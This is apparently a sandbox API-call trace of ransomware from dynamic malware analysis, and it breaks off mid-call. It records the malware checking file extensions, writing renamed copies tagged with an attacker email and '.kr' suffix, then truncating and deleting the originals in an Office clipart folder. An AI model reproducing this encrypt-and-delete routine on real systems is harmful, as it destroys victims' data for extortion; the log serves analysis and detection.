[0186.287] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.287] SetEndOfFile (hFile=0x538) returned 1 [0186.289] CloseHandle (hObject=0x538) returned 1 [0186.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0186.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.292] lstrlenW (lpString=".doc") returned 4 [0186.292] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.292] lstrlenW (lpString=".docx") returned 5 [0186.292] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.292] lstrlenW (lpString=".pdf") returned 4 [0186.292] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.292] lstrlenW (lpString=".xls") returned 4 [0186.292] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.292] lstrlenW (lpString=".xlsx") returned 5 [0186.293] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.293] lstrlenW (lpString=".ppt") returned 4 [0186.293] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.293] lstrlenW (lpString=".zip") returned 4 [0186.293] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.293] lstrlenW (lpString=".rar") returned 4 [0186.293] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.293] lstrlenW (lpString=".bz2") returned 4 [0186.293] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.293] lstrlenW (lpString=".7z") returned 3 [0186.293] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.293] lstrlenW (lpString=".dbf") returned 4 [0186.293] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.293] lstrlenW (lpString=".1cd") returned 4 [0186.293] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.293] lstrlenW (lpString=".jpg") returned 4 [0186.293] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.294] lstrlenW (lpString=".doc") returned 4 [0186.294] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.294] lstrlenW (lpString=".docx") returned 5 [0186.294] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.294] lstrlenW (lpString=".pdf") returned 4 [0186.294] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.294] lstrlenW (lpString=".xls") returned 4 [0186.294] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.294] lstrlenW (lpString=".xlsx") returned 5 [0186.294] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.294] lstrlenW (lpString=".ppt") returned 4 [0186.294] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.294] lstrlenW (lpString=".zip") returned 4 [0186.294] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.294] lstrlenW (lpString=".rar") returned 4 [0186.294] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.294] lstrlenW (lpString=".bz2") returned 4 [0186.294] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.294] lstrlenW (lpString=".7z") returned 3 [0186.294] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.294] lstrlenW (lpString=".dbf") returned 4 [0186.294] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.294] lstrlenW (lpString=".1cd") returned 4 [0186.294] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0186.294] lstrlenW (lpString=".jpg") returned 4 [0186.295] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.295] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.295] lstrlenW (lpString="SPACE_01.MID") returned 12 [0186.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.304] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=4219) returned 1 [0186.304] CloseHandle (hObject=0x4d8) returned 1 [0186.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0186.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.305] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.306] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.306] GetLastError () returned 0x0 [0186.306] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x107b, lpOverlapped=0x0) returned 1 [0186.363] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1080, lpOverlapped=0x0) returned 1 [0186.364] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.364] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.364] SetEndOfFile (hFile=0x4d4) returned 1 [0186.364] CloseHandle (hObject=0x4d4) returned 1 [0186.364] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.364] SetEndOfFile (hFile=0x4d8) returned 1 [0186.367] CloseHandle (hObject=0x4d8) returned 1 [0186.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.368] lstrlenW (lpString=".doc") returned 4 [0186.368] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.368] lstrlenW (lpString=".docx") returned 5 [0186.368] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.368] lstrlenW (lpString=".pdf") returned 4 [0186.368] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.368] lstrlenW (lpString=".xls") returned 4 [0186.368] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.368] lstrlenW (lpString=".xlsx") returned 5 [0186.368] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.368] lstrlenW (lpString=".ppt") returned 4 [0186.368] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.369] lstrlenW (lpString=".zip") returned 4 [0186.369] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.369] lstrlenW (lpString=".rar") returned 4 [0186.369] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.369] lstrlenW (lpString=".bz2") returned 4 [0186.369] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.369] lstrlenW (lpString=".7z") returned 3 [0186.369] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.369] lstrlenW (lpString=".dbf") returned 4 [0186.369] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.369] lstrlenW (lpString=".1cd") returned 4 [0186.369] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.369] lstrlenW (lpString=".jpg") returned 4 [0186.369] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.369] lstrlenW (lpString=".doc") returned 4 [0186.369] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.369] lstrlenW (lpString=".docx") returned 5 [0186.369] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.369] lstrlenW (lpString=".pdf") returned 4 [0186.369] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.369] lstrlenW (lpString=".xls") returned 4 [0186.369] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.369] lstrlenW (lpString=".xlsx") returned 5 [0186.369] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.369] lstrlenW (lpString=".ppt") returned 4 [0186.369] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.370] lstrlenW (lpString=".zip") returned 4 [0186.370] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.370] lstrlenW (lpString=".rar") returned 4 [0186.370] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.370] lstrlenW (lpString=".bz2") returned 4 [0186.370] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.370] lstrlenW (lpString=".7z") returned 3 [0186.370] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.370] lstrlenW (lpString=".dbf") returned 4 [0186.370] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.370] lstrlenW (lpString=".1cd") returned 4 [0186.370] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0186.370] lstrlenW (lpString=".jpg") returned 4 [0186.370] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.370] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.370] lstrlenW (lpString="SUMER_01.MID") returned 12 [0186.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.372] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=14044) returned 1 [0186.372] CloseHandle (hObject=0x4d8) returned 1 [0186.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0186.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.372] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.372] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.373] GetLastError () returned 0x0 [0186.373] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x36dc, lpOverlapped=0x0) returned 1 [0186.400] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x36e0, lpOverlapped=0x0) returned 1 [0186.401] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.402] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.402] SetEndOfFile (hFile=0x4d4) returned 1 [0186.402] CloseHandle (hObject=0x4d4) returned 1 [0186.402] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.402] SetEndOfFile (hFile=0x4d8) returned 1 [0186.405] CloseHandle (hObject=0x4d8) returned 1 [0186.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0186.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.407] lstrlenW (lpString=".doc") returned 4 [0186.407] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.407] lstrlenW (lpString=".docx") returned 5 [0186.407] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.407] lstrlenW (lpString=".pdf") returned 4 [0186.407] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.407] lstrlenW (lpString=".xls") returned 4 [0186.407] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.407] lstrlenW (lpString=".xlsx") returned 5 [0186.407] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.407] lstrlenW (lpString=".ppt") returned 4 [0186.407] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.407] lstrlenW (lpString=".zip") returned 4 [0186.407] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.407] lstrlenW (lpString=".rar") returned 4 [0186.407] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.407] lstrlenW (lpString=".bz2") returned 4 [0186.407] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.407] lstrlenW (lpString=".7z") returned 3 [0186.407] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.407] lstrlenW (lpString=".dbf") returned 4 [0186.407] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.407] lstrlenW (lpString=".1cd") returned 4 [0186.407] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.407] lstrlenW (lpString=".jpg") returned 4 [0186.408] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.408] lstrlenW (lpString=".doc") returned 4 [0186.408] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.408] lstrlenW (lpString=".docx") returned 5 [0186.408] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.408] lstrlenW (lpString=".pdf") returned 4 [0186.408] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.408] lstrlenW (lpString=".xls") returned 4 [0186.408] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.408] lstrlenW (lpString=".xlsx") returned 5 [0186.408] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.408] lstrlenW (lpString=".ppt") returned 4 [0186.408] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.408] lstrlenW (lpString=".zip") returned 4 [0186.408] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.408] lstrlenW (lpString=".rar") returned 4 [0186.408] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.408] lstrlenW (lpString=".bz2") returned 4 [0186.408] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.408] lstrlenW (lpString=".7z") returned 3 [0186.408] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.408] lstrlenW (lpString=".dbf") returned 4 [0186.408] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.408] lstrlenW (lpString=".1cd") returned 4 [0186.408] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0186.408] lstrlenW (lpString=".jpg") returned 4 [0186.409] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.409] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.409] lstrlenW (lpString="SWEST_01.MID") returned 12 [0186.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.410] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=8501) returned 1 [0186.410] CloseHandle (hObject=0x4d8) returned 1 [0186.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0186.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.411] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.411] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.411] GetLastError () returned 0x0 [0186.411] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2135, lpOverlapped=0x0) returned 1 [0186.459] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2140, lpOverlapped=0x0) returned 1 [0186.460] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.460] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.460] SetEndOfFile (hFile=0x4d4) returned 1 [0186.461] CloseHandle (hObject=0x4d4) returned 1 [0186.461] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.461] SetEndOfFile (hFile=0x4d8) returned 1 [0186.463] CloseHandle (hObject=0x4d8) returned 1 [0186.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 